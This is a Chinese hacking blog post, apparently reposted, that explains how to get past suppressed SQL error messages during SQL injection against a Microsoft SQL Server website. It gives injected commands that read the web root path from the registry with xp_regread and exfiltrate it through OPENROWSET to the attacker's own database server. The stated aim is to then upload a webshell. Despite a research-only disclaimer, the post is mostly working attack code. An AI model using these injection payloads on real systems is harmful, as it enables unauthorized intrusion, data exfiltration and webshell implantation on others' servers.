突破SQL错误提示上传webshell 's

admin 2017年5月6日17:57:35评论354 views字数 1376阅读4分35秒阅读模式
摘要

文章作者:疯狗 http://www.cnbct.org/得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

文章作者:疯狗 http://www.cnbct.org/

得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))–

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('Select a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''Select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');–

这样fenggou这个表里就会有这样一条记录Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'Select * FROM pubs.dbo.authors where au_fname=''D:/WEB,,1''')AS a

不用说,''D:/WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(Select cha8 FROM fenggou) exec (@a1);–

等于执行了Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'Select * FROM pubs.dbo.authors where au_fname=''D:/WEB,,1''')AS a

OK,这时你在你机器上SQL事件追踪器上就会显示Select * FROM pubs.dbo.authors where au_fname='D:/WEB,,1'
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
PS:如果出错的话转换为16进制试试哈.以上是在偶渗透失败,无奈的时候想的办法,也许高人早就知道了吧,笑过~

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日17:57:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破SQL错误提示上传webshell 'shttp://cn-sec.com/archives/49826.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息